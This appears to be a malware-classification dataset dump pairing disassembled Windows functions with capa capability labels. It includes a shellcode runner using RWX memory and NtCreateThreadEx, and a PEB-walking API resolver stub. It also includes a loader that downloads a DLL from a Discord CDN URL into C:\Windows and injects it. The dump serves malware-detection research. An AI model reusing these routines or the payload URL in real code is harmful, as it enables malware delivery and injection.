joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140002330
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140004780]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x14000234f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x140002358
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret

Function at 0x140002510
Capabilities:
Terminate process

Disassembly:
sub rsp, 0x28
mov r8d, 0x2c
mov ecx, 2
lea rdx, str._stack_smashing_detected_:_terminated_n
call sub.api_ms_win_crt_stdio_l1_1_0.dll__write
mov ecx, 0x17
call sub.KERNEL32.dll_IsProcessorFeaturePresent
test eax, eax
je 0x140002540
mov ecx, 2
int 0x29
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop

Function at 0x140002920
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
add rsp, 0xffffffffffffff80
mov rbp, qword [0x140004850]
mov rax, qword [rbp]
mov qword [rsp + 0x78], rax
xor eax, eax
mov rsi, rcx
mov rbx, rdx
lea rcx, [0x140004060]
call sub.KERNEL32.dll_GetModuleHandleW
lea rdx, str.NtAllocateVirtualMemory
mov rdi, rax
mov rcx, rax
call sub.KERNEL32.dll_GetProcAddress
lea rdx, str.NtCreateThreadEx
mov rcx, rdi
mov r14, rax
call sub.KERNEL32.dll_GetProcAddress
lea rdx, str.NtWaitForSingleObject
mov rcx, rdi
mov r13, rax
call sub.KERNEL32.dll_GetProcAddress
xor r10d, r10d
xor r8d, r8d
or rcx, 0xffffffffffffffff
mov qword [rsp + 0x60], r10
lea rdx, [rsp + 0x60]
mov r12, rax
mov qword [rsp + 0x68], rbx
lea r9, [rsp + 0x68]
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 0x3000
call r14
test eax, eax
jne 0x140002a2e
mov rdi, qword [rsp + 0x60]
mov rcx, rbx
xor eax, eax
xor edx, edx
rep movsb byte [rdi], byte [rsi]
mov qword [rsp + 0x70], rax
xor r8d, r8d
xor r9d, r9d
mov qword [rsp + 0x50], rdx
lea rcx, [rsp + 0x70]
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x48], rdx
mov qword [rsp + 0x40], rdx
mov qword [rsp + 0x38], rdx
mov edx, 0x1fffff
mov dword [rsp + 0x30], r8d
xor r8d, r8d
mov qword [rsp + 0x28], r9
or r9, 0xffffffffffffffff
mov qword [rsp + 0x20], rax
call r13
test eax, eax
jne 0x140002a2e
mov rcx, qword [rsp + 0x70]
test rcx, rcx
je 0x140002a2e
xor r8d, r8d
mov edx, 1
call r12
mov rax, qword [rsp + 0x78]
sub rax, qword [rbp]
je 0x140002a3f
call fcn.140002510
nop
sub rsp, 0xffffffffffffff80
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
ret
Function at 0x140002ae0
Capabilities:
Encrypt data using rc4 ksa
Encrypt data using rc4 prga

Disassembly:
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x250
mov rbx, qword [0x140004850]
lea rsi, section..rdata
mov rax, qword [rbx]
mov qword [rsp + 0x248], rax
xor eax, eax
lea rdi, [rsp + 0x28]
mov r9, rcx
mov ecx, 8
rep movsd dword [rdi], dword [rsi]
lea r10, [rsp + 0x148]
mov r11, rdx
lea rbp, [rsp + 0x48]
mov rdx, rax
mov byte [rax + r10], al
inc rax
and edx, 0x1f
mov dl, byte [rsp + rdx + 0x28]
mov byte [rax + rbp - 1], dl
cmp rax, 0x100
jne 0x140002b2b
mov r12, r10
xor esi, esi
xor r13d, r13d
mov edi, 0x100
movzx eax, byte [r12]
movzx edx, byte [rbp + rsi]
inc rsi
add eax, r13d
add eax, edx
cdq
idiv edi
movsxd rcx, edx
mov rdx, r12
inc r12
mov r13, rcx
add rcx, r10
call fcn.140002a50
cmp rsi, 0x100
jne 0x140002b55
lea rdi, [r9 + r11]
xor ebp, ebp
xor r12d, r12d
cmp rdi, r9
je 0x140002be5
lea eax, [rbp + 1]
cdq
idiv esi
movsxd r13, edx
movzx eax, byte [rsp + r13 + 0x148]
lea rcx, [r10 + r13]
mov rbp, r13
add eax, r12d
cdq
idiv esi
movsxd r14, edx
lea rdx, [r10 + r14]
mov r12, r14
call fcn.140002a50
mov cl, byte [rsp + r14 + 0x148]
add cl, byte [rsp + r13 + 0x148]
movzx ecx, cl
mov al, byte [rsp + rcx + 0x148]
xor byte [r9], al
inc r9
jmp 0x140002b90
mov rax, qword [rsp + 0x248]
sub rax, qword [rbx]
je 0x140002bf7
call fcn.140002510
mov rax, r11
add rsp, 0x250
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
ret
Function at 0x140004000
Capabilities:
Access peb ldr_data
Resolve function by parsing pe exports

Disassembly:
cld
and rsp, 0xfffffffffffffff0
call fcn.1400040d6
push r9
push r8
push rdx
push rcx
push rsi
xor rdx, rdx
mov rdx, qword gs:[rdx + 0x60]
mov rdx, qword [rdx + 0x18]
mov rdx, qword [rdx + 0x20]
movzx rcx, word [rdx + 0x4a]
xor r9, r9
mov rsi, qword [rdx + 0x50]
xor rax, rax
lodsb al, byte [rsi]
cmp al, 0x61
jl 0x140004037
sub al, 0x20
ror r9d, 0xd
add r9d, eax
loop 0x14000402d
push rdx
mov rdx, qword [rdx + 0x20]
push r9
mov eax, dword [rdx + 0x3c]
add rax, rdx
cmp word [rax + 0x18], 0x20b
jne 0x1400040cb
mov eax, dword [rax + 0x88]
test rax, rax
je 0x1400040cb
add rax, rdx
mov r8d, dword [rax + 0x20]
add r8, rdx
push rax
mov ecx, dword [rax + 0x18]
jrcxz 0x1400040ca
xor r9, r9
dec rcx
mov esi, dword [r8 + rcx*4]
add rsi, rdx
xor rax, rax
lodsb al, byte [rsi]
ror r9d, 0xd
add r9d, eax
cmp al, ah
jne 0x140004081
add r9, qword [rsp + 8]
cmp r9d, r10d
jne 0x140004072
pop rax
mov r8d, dword [rax + 0x24]
add r8, rdx
mov cx, word [r8 + rcx*2]
mov r8d, dword [rax + 0x1c]
add r8, rdx
mov eax, dword [r8 + rcx*4]
pop r8
pop r8
pop rsi
add rax, rdx
pop rcx
pop rdx
pop r8
pop r9
pop r10
sub rsp, 0x20
push r10
jmp rax
pop rax
pop r9
pop rdx
mov rdx, qword [rdx]
jmp 0x140004021

Function at 0x140004000
Capabilities:
Access peb ldr_data
Resolve function by parsing pe exports

Disassembly:
cld
and rsp, 0xfffffffffffffff0
call fcn.1400040d6
push r9
push r8
push rdx
xor rdx, rdx
mov rdx, qword gs:[rdx + 0x60]
mov rdx, qword [rdx + 0x18]
mov rdx, qword [rdx + 0x20]
push rcx
push rsi
movzx rcx, word [rdx + 0x4a]
mov rsi, qword [rdx + 0x50]
xor r9, r9
xor rax, rax
lodsb al, byte [rsi]
cmp al, 0x61
jl 0x140004037
sub al, 0x20
ror r9d, 0xd
add r9d, eax
loop 0x14000402d
push rdx
mov rdx, qword [rdx + 0x20]
mov eax, dword [rdx + 0x3c]
add rax, rdx
cmp word [rax + 0x18], 0x20b
push r9
jne 0x1400040cb
mov eax, dword [rax + 0x88]
test rax, rax
je 0x1400040cb
add rax, rdx
push rax
mov r8d, dword [rax + 0x20]
mov ecx, dword [rax + 0x18]
add r8, rdx
jrcxz 0x1400040ca
xor r9, r9
dec rcx
mov esi, dword [r8 + rcx*4]
add rsi, rdx
xor rax, rax
ror r9d, 0xd
lodsb al, byte [rsi]
add r9d, eax
cmp al, ah
jne 0x140004081
add r9, qword [rsp + 8]
cmp r9d, r10d
jne 0x140004072
pop rax
mov r8d, dword [rax + 0x24]
add r8, rdx
mov cx, word [r8 + rcx*2]
mov r8d, dword [rax + 0x1c]
add r8, rdx
mov eax, dword [r8 + rcx*4]
pop r8
add rax, rdx
pop r8
pop rsi
pop rcx
pop rdx
pop r8
pop r9
pop r10
sub rsp, 0x20
push r10
jmp rax
pop rax
pop r9
pop rdx
mov rdx, qword [rdx]
jmp 0x140004021
Function at 0x140024c90
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push rbx
sub rsp, 0x20
mov ebx, edx
test rcx, rcx
jne 0x140024cba
call fcn.14000f5ac
and dword [rax], 0
call fcn.14000f58c
mov ebx, 0x16
mov dword [rax], ebx
call fcn.14000e584
mov eax, ebx
jmp 0x140024d0a
test edx, 0xfffffff9
jne 0x140024c9d
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x140024ce3
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, eax
call fcn.14000f5cc
call fcn.14000f58c
mov eax, dword [rax]
jmp 0x140024d0a
test al, 0x10
jne 0x140024d08
test al, 1
je 0x140024d08
test bl, 2
je 0x140024d08
call fcn.14000f5ac
mov dword [rax], 5
call fcn.14000f58c
mov dword [rax], 0xd
jmp 0x140024cda
xor eax, eax
add rsp, 0x20
pop rbx
ret

Function at 0x1400c853e
Capabilities:
Encode data using xor

Disassembly:
mov esi, 0x1c3593a8
adc byte [rsi + 0x20], al
xchg ebx, eax
xor eax, 0x2046101c
jp 0x1400c8540
invalid
Function at 0x1800291d0
Capabilities:
Check for software breakpoints

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x20
lea r13d, [r8 - 6]
mov r15d, r8d
mov rsi, rdx
mov rbx, rcx
cmp r8d, r13d
jbe case.0x180029228.11
mov rbp, qword [rsp + 0x68]
lea r12d, [r8 - 0x4c]
mov r14, qword [rsp + 0x68]
lea rdx, [0x180000000]
cmp r12d, 0xd
ja case.0x180029228.2
mov ecx, dword [rdx + r12*4 + 0x293b0]
add rcx, rdx
jmp rcx
mov rdx, qword [rbx]
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_calloc]
mov qword [rsp + 0x68], rax
jmp case.0x180029228.2
mov r9d, 0xe1
nop dword [rax + rax]
mov eax, r9d
sub eax, 0xe1
je 0x180029281
cmp eax, 1
jne 0x1800292d6
mov rax, qword [rsp + 0x68]
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
add rsp, 0x20
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
xor r8d, r8d
mov eax, 0xcc
nop dword [rax]
cmp eax, 0xcc
jne 0x1800292be
cmp qword [rbx + 0x18], 0x10
mov rcx, rbx
jb 0x1800292a4
mov rcx, qword [rbx]
mov rdx, qword [rsi]
movzx ecx, byte [rdx + rcx]
sub cl, 0x67
cmp cl, 0x13
ja 0x18002939f
lea rcx, [rdx + 1]
mov qword [rsi], rcx
add eax, 0x47
cmp eax, 0x113
jb 0x180029290
inc r8
cmp r8, 4
jb 0x180029284
mov byte [rsp + 0x68], 1
inc r9d
cmp r9d, 0xe3
jb 0x180029250
cmp qword [rsi], 0
je case.0x180029228.2
mov edi, 0xb5
nop word [rax + rax]
mov eax, edi
sub eax, 0xb3
je case.0x180029228.11
sub eax, 1
je 0x180029332
cmp eax, 1
jne 0x180029337
mov rdx, qword [rbx]
mov rcx, qword [rsi + 0x10]
call qword [rsi]
mov r8, qword [rbx]
xor edx, edx
mov rcx, rax
mov rbp, rax
call sub.VCRUNTIME140.dll_memset
jmp 0x180029337
mov qword [rsp + 0x68], rbp
dec edi
cmp edi, 0xb2
ja 0x180029300
jmp case.0x180029228.2
mov ecx, 0xc1
nop dword [rax + rax]
mov eax, ecx
sub eax, 0xc1
je 0x18002936f
cmp eax, 0x5c
jne 0x180029374
mov rdx, rsi
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
jmp 0x180029264
test r14, r14
je 0x1800293a9
add ecx, 0x5c
cmp ecx, 0x179
jb 0x180029350
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov r14, rax
dec r15d
dec r12d
cmp r15d, r13d
jbe case.0x180029228.11
jmp 0x18002920c
mov byte [rsp + 0x68], 0
jmp case.0x180029228.11
xor eax, eax
jmp 0x180029264
Function at 0x180058230
Capabilities:
Check for software breakpoints

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x90
mov rbx, qword [rsp + 0xe8]
lea eax, [rdx - 5]
mov dword [rsp + 0xd8], eax
mov r14, r8
mov r15d, edx
mov r13, rcx
cmp edx, eax
jbe 0x1800582fe
mov r12d, dword [rsp + 0xe8]
xor edi, edi
mov rbp, qword [rsp + 0xe8]
lea esi, [rdi + 0xf]
nop
mov eax, r15d
sub eax, 0xc8
je 0x18005845f
sub eax, 4
je 0x1800582fe
sub eax, 1
je 0x1800583c5
sub eax, 4
je 0x1800582b8
cmp eax, 1
jne 0x1800584bd
test r14, r14
jne 0x1800584bd
mov rax, rdi
jmp 0x180058301
movsd xmm0, qword [rsp + 0x40]
mov esi, 0x5e
movsd qword [rsp + 0xe8], xmm0
movups xmm0, xmmword [rsp + 0x30]
movups xmmword [rsp + 0x30], xmm0
nop word [rax + rax]
mov eax, esi
sub eax, 0x5e
je 0x18005838f
sub eax, 1
je 0x180058324
sub eax, 1
je 0x18005831c
cmp eax, 1
jne 0x1800583b0
mov rax, rbx
mov rbx, qword [rsp + 0xd0]
add rsp, 0x90
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
mov rbx, rdi
jmp 0x1800583b0
mov rcx, qword [r14 + 0x18]
mov edx, 0xbe
call fcn.18003e300
movups xmm0, xmmword [rsp + 0x30]
mov rcx, qword [r14]
lea rdx, [rsp + 0x50]
mov r8d, 0x3a
movaps xmmword [rsp + 0x50], xmm0
movsd xmm0, qword [rsp + 0xe8]
movsd qword [rsp + 0x60], xmm0
call fcn.1800584e0
movups xmm0, xmmword [rsp + 0x30]
mov r8d, 0x3a
lea rdx, [rsp + 0x70]
mov rcx, r14
movaps xmmword [rsp + 0x70], xmm0
movsd xmm0, qword [rsp + 0xe8]
movsd qword [rsp + 0x80], xmm0
call fcn.1800584e0
jmp 0x1800583b0
mov rax, qword [r14 + 0x18]
movups xmm1, xmmword [rax + 0x128]
movsd xmm0, qword [rax + 0x138]
movups xmmword [rsp + 0x30], xmm1
movsd qword [rsp + 0xe8], xmm0
inc esi
cmp esi, 0x62
jb 0x1800582e0
mov esi, 0xf
jmp 0x1800584bd
xor r8d, r8d
mov edx, 0xaa
mov rcx, r14
call fcn.180041da0
mov r9d, dword [r13]
mov r8d, 0xcc
nop
cmp r8d, 0x12
je 0x180058413
cmp r8d, 0xcc
je 0x180058448
cmp r8d, 0xc06
jne 0x180058433
mov rcx, rbp
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov qword [rsp + 0xe8], rax
mov r12d, eax
mov ebx, eax
jmp 0x1800584bd
cmp r9d, 0xf
lea ebp, [rax*2 + 3]
mov edx, 1
cmova r9d, esi
lea ecx, [r9 - 1]
shl edx, cl
add ebp, edx
shl rbp, 2
add r8d, 0x8778
cmp r8d, 0x19668
jbe 0x1800583e0
mov ebx, r12d
jmp 0x1800584bd
imul r12d, eax, 0x9e3779b1
mov ecx, 0x20
sub ecx, r9d
shr r12d, cl
mov ebx, r12d
jmp 0x1800584bd
xor edx, edx
mov ecx, 0x9d
call fcn.1800304b0
test eax, eax
mov rax, qword [r13]
mov qword [rsp + 0xe8], rax
je 0x180058485
lea rdx, [rsp + 0xe8]
jmp 0x1800584a3
lea r8, [rsp + 0xe8]
xor edx, edx
mov ecx, 0xe9
call fcn.180027780
mov qword [rsp + 0x30], rax
lea rdx, [rsp + 0x30]
mov qword [rsp + 0x28], r14
mov r9d, 0x6e
xor r8d, r8d
mov qword [rsp + 0x20], rdi
xor ecx, ecx
call fcn.18004a0c0
dec r15d
cmp r15d, dword [rsp + 0xd8]
ja 0x180058280
jmp 0x1800582fe
Function at 0x14000720c
Capabilities:
Terminate thread

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rdi, rcx
call fcn.14000719c
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateThread]
lea rcx, [0x140021170]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x1400205b8]
jmp 0x140007248
cmp qword [rbx + 0x18], rdi
je 0x14000724f
mov rbx, qword [rbx]
test rbx, rbx
jne 0x14000723f
jmp 0x140007269
mov rcx, qword [rbx + 0x10]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rbx + 0x10]
lea rcx, [0x1400205b8]
call fcn.140011c68
lea rcx, [0x140021170]
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
add eax, 0xb2c9cdfe
jg 0x14003f654
and dh, byte [rbx - 0x65]
push 0xffffffffd0ae236e
xchg edi, eax
stc
rol byte [rdi + rdx*4 - 0xd], 1
stc
and bh, ch
invalid
or al, 0xb1
and byte [rdi + 0x49], ch
invalid
mov ebx, 0x31018473
jb 0x14003f689
xor dword [rdx + 0x32], esi
or dword [rbx + 0x33], 0x5e4c619e
invalid
pop rsi
wait
adc byte [rsi - 0x1da833fe], cl
scasq rax, qword [rdi]
hlt
xchg ebx, eax
nop
int1
cli
sbb al, 0xec
fiadd dword [rax]
idiv byte [rax]
jrcxz 0x14003f62a
clc
vpand xmm2, xmm4, xmmword [rax]
fist dword [rax]
fist dword [rax]
adc byte [rsi + 0x255b14ac], dh
pop rbx
and eax, 0x87243840
cmp byte [rdi + rax*4], ah
mov dh, 0xac
adc al, 0x5b
pop rbx
and eax, 0x87243840
cmp byte [rdi + rax*4], ah
cmp byte [rdi + rax*4], ah
out dx, al
mov esi, 0x89f9c043
mov al, 0x1a
and eax, ebp
nop
mov ecx, 0x3fdd3ab4
movabs byte [0xf9a461e5c94930b6], al
leave
in eax, 0x61
movsb byte [rdi], byte [rsi]
stc
leave
in eax, 0x61
movsb byte [rdi], byte [rsi]
stc
xchg ecx, eax
pop rbp
mov word [rdx + rdx*2 - 0x3a9a307f], gs
push rdx
or edi, 0xd9bcc565
iretd
invalid
invalid
mov esp, 0x588335d9
xor ecx, dword [rbp - 0x61]
iretd
clc
jns 0x14003f6bd
fst qword [rsi + rcx*4 - 0x341ead08]
jge 0x14003f6d6
xlatb
wait
or eax, 0x1521303d
mov ebp, 0xbe40c856
mov ecx, 0x954a1c39
mov esp, 0xee3c3609
sbb ch, byte [rax + 0x3c767e90]
adc dword [rsi], esp
ret
Function at 0x140001f54
Capabilities:
Check for time delay via gettickcount

Disassembly:
push rbp
lea rbp, [rsp - 0x57]
sub rsp, 0xa0
mov qword [0x140088e50], rcx
call fcn.140001378
mov edx, 8
xor ecx, ecx
mov r9, qword [rax + 0xa8]
lea r8d, [rdx + 7]
call r9
call fcn.140001378
mov edx, 0xa
xor ecx, ecx
mov r9, qword [rax + 0xa8]
lea r8d, [rdx - 9]
call r9
call fcn.140001378
mov edx, 0xb
xor ecx, ecx
mov r9, qword [rax + 0xa8]
lea r8d, [rdx - 0xa]
call r9
call fcn.140001378
call qword [rax + 8]
lea rax, vtable.sciter::debug_output.0
mov qword [rbp + 0x67], rax
call fcn.140001378
lea r8, [0x1400014b0]
xor ecx, ecx
lea rdx, [rbp + 0x67]
mov r9, qword [rax + 0x100]
call r9
lea rax, [rbp + 0x67]
lea rcx, [rbp + 0x1f]
mov qword [0x140088e60], rax
call fcn.140001664
cmp qword [rbp + 0x2f], 0
je 0x14000206f
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [rbp - 0x15], eax
mov dword [rbp - 0x19], 5
call fcn.140001378
lea rdx, [rbp - 0x19]
lea rcx, [rbp + 0x1f]
mov r8, qword [rax + 0x560]
call r8
xor r9d, r9d
mov dword [rsp + 0x20], 1
xor r8d, r8d
lea rcx, [rbp - 0x11]
xor edx, edx
call qword [sym.imp.USER32.dll_PeekMessageW]
test eax, eax
je 0x140002062
cmp dword [rbp - 9], 0x12
je 0x14000206f
lea rcx, [rbp - 0x11]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rbp - 0x11]
call qword [sym.imp.USER32.dll_DispatchMessageW]
jmp 0x140002001
mov ecx, 0x10
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140002001
xor eax, eax
add rsp, 0xa0
pop rbp
ret

Function at 0x140002330
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push rbx
push rsi
push rdi
push r14
push r15
sub rsp, 0x240
mov rax, qword [0x140087010]
xor rax, rsp
mov qword [rsp + 0x230], rax
mov rsi, qword [0x140088e50]
xor ebx, ebx
mov r15, r9
mov r14, r8
mov rdi, rdx
test rdx, rdx
je 0x140002471
cmp word [rdx], bx
je 0x140002471
lea r8d, [rbx + 4]
mov rcx, rdi
lea rdx, [0x140020968]
call fcn.14000ae58
test eax, eax
jne 0x140002390
add rdi, 8
mov r8d, 2
lea rdx, [0x140020974]
mov rcx, rdi
call fcn.14000ae58
test eax, eax
jne 0x1400023ad
add rdi, 4
xor edx, edx
lea rcx, [rsp + 0x20]
mov r8d, 0x20a
call fcn.1400047d0
mov r9d, 0x104
lea rcx, [rsp + 0x20]
mov r8, rdi
lea edx, [r9 + 1]
call fcn.14000ae84
mov edx, 0x2e
lea rcx, [rsp + 0x20]
call fcn.140004494
mov rdi, rax
test rax, rax
je 0x14000241f
mov word [rax], bx
add rdi, 2
je 0x14000241f
lea rdx, str.HTML
mov rcx, rdi
call fcn.140008ca8
test eax, eax
je 0x14000241f
lea rdx, [0x140020990]
mov rcx, rdi
call fcn.140008ca8
mov r8, rdi
test eax, eax
jne 0x140002425
mov r8d, 0x17
lea rdx, [rsp + 0x20]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov rdi, rax
test rax, rax
je 0x140002471
mov rdx, rax
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_LoadResource]
test rax, rax
je 0x140002471
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov qword [r14], rax
test rax, rax
je 0x140002471
mov rdx, rdi
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_SizeofResource]
test eax, eax
mov dword [r15], eax
setne bl
mov al, bl
mov rcx, qword [rsp + 0x230]
xor rcx, rsp
call fcn.1400027d0
add rsp, 0x240
pop r15
pop r14
pop rdi
pop rsi
pop rbx
ret
Function at 0x140008bc0
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x140008a2b
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140008a2b
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140008a2b
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140008a2b
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140008a2b
cmp dword [rcx + 0x84], 0xe
jbe 0x140008a2b
cmp dword [rcx + 0xf8], 0
je 0x140008a2b
mov ecx, ebx
call fcn.140008adc
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.1400088b8
nop
cmp dword [rbp + 0x20], 0
je 0x140008a79
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.140008a84
int3
xor r8d, r8d
xor edx, edx
jmp 0x1400089bc
Function at 0x14000fce0
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor ebp, ebp
mov rbx, rax
test rax, rax
je 0x14000fd67
mov rsi, rbx
cmp word [rax], bp
je 0x14000fd26
or rax, 0xffffffffffffffff
inc rax
cmp word [rsi + rax*2], bp
jne 0x14000fd10
lea rsi, [rsi + rax*2]
add rsi, 2
cmp word [rsi], bp
jne 0x14000fd0c
sub rsi, rbx
add rsi, 2
sar rsi, 1
add rsi, rsi
mov rcx, rsi
call fcn.14000cfa4
mov rdi, rax
test rax, rax
je 0x14000fd54
mov r8, rsi
mov rdx, rbx
mov rcx, rax
call fcn.140008240
mov rbp, rdi
xor ecx, ecx
call fcn.14000cf68
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x14001121c
Capabilities:
Download url
Execute command
Receive data

Disassembly:
jmp 0x140017d60
push rbp
push rdi
sub rsp, 0x188
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x26
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x140028040]
xor rax, rbp
mov qword [rbp + 0x140], rax
lea rcx, [0x14002e0fa]
call fcn.14001169f
call fcn.1400114e2
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, str.___Modules_succesfully_loaded
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400110be
lea rdx, [0x140011046]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0x208
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, str.https:__cdn.discordapp.com_attachments_854325809481121792_1200777613556326543_236.dll_ex65c76a4cis65b4f54chm00e812c951bb384bb823c80be2dfc1ed3c1b43e7bbf39300fc37b17791f97c4f
lea rcx, [rbp + 8]
call fcn.1400112e9
nop
lea rdx, str.C:Windows_bcastdvr236.dll
lea rcx, [rbp + 0x48]
call fcn.1400112e9
nop
lea rcx, [rbp + 0x48]
call fcn.1400110a0
mov qword [rbp + 0x138], rax
lea rcx, [rbp + 8]
call fcn.1400110a0
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov rcx, qword [rbp + 0x138]
mov r8, rcx
mov rdx, rax
xor ecx, ecx
call fcn.14001118b
lea rcx, [rbp + 0x48]
call fcn.1400110a0
mov r8, rax
mov edx, dword [0x1400284d8]
lea rcx, [0x1400284c0]
call fcn.140011564
lea rdx, str.____236dev_Inject_successfully_n
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400110be
lea rdx, str.___Last_update____0.0.1_n
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400110be
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, str.____Loader_will_Closed_in_5_seconds
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400110be
lea rdx, [0x140011046]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.exit
call qword [sym.imp.ucrtbased.dll_system]
nop
lea rcx, [rbp + 0x48]
call fcn.140011136
nop
lea rcx, [rbp + 8]
call fcn.140011136
lea rcx, [rbp - 0x30]
lea rdx, [0x140023300]
call fcn.140011596
mov rcx, qword [rbp + 0x140]
xor rcx, rbp
call fcn.14001133e
lea rsp, [rbp + 0x158]
pop rdi
pop rbp
ret
Function at 0x1400113c0
Capabilities:
Terminate process

Disassembly:
jmp 0x14001b490
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret